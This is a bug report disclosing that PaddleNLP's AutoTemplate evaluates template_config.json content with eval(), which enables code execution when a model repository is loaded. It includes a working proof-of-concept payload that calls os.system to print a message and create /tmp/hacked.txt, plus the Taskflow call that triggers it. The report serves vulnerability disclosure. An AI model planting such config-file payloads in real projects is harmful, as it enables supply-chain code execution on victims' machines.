[Bug]: Potential code execution when handling untrusted template_config.json via AutoTemplate

### 软件环境 ```Markdown paddle2onnx 2.1.0 paddlefsl 1.1.0 paddlenlp 2.8.1 paddlepaddle 3.3.0 ``` ### 重复问题 - [x] I have searched the existing issues ### 错误描述 The `AutoTemplate` component unsafely processes external template configuration files by evaluating their content using Python’s eval() function. When users attempt to do a text classification task, paddlenlp could read `template_config.json` and pass its contents to `Template.parse_template_string()`. https://github.com/PaddlePaddle/PaddleNLP/blob/587a5cdf97138ac5032b4bb97cf7fc22a038aaf4/paddlenlp/prompt/template.py#L851-L866 Inside this function, substrings wrapped in `{}` are directly evaluated as Python code using `eval()`. https://github.com/PaddlePaddle/PaddleNLP/blob/587a5cdf97138ac5032b4bb97cf7fc22a038aaf4/paddlenlp/prompt/template.py#L320-L336 An attacker can publish a malicious model repository containing a malicious `template_config.json` file with embedded Python expressions. When a victim loads the model using standard PaddleNLP APIs (e.g., `Taskflow`), the malicious payload is evaluated and executed automatically. This issue turns external template configuration files into attack vectors and presents a supply-chain security risk. The payload is hidden in auxiliary configuration files rather than model weights, allowing it to bypass many existing security checks. ### 稳定复现步骤 & 代码 I built a proof-of-concept repository for demonstration. ```bash git clone https://huggingface.co/XManFromXlab/paddlenlp-AutoTemplate-RCE ``` The payload looks like this: ``` "{os.system('echo \"You have been hacked!!!\" && touch /tmp/hacked.txt')}" ``` Once victims run the following code: ```python from paddlenlp import Taskflow Taskflow("text_classification", mode="prompt", task_path="./paddlenlp-AutoTemplate-RCE") ``` It would print the warning message `You have been hacked!!!` and create an empty file `/tmp/hacked.txt`.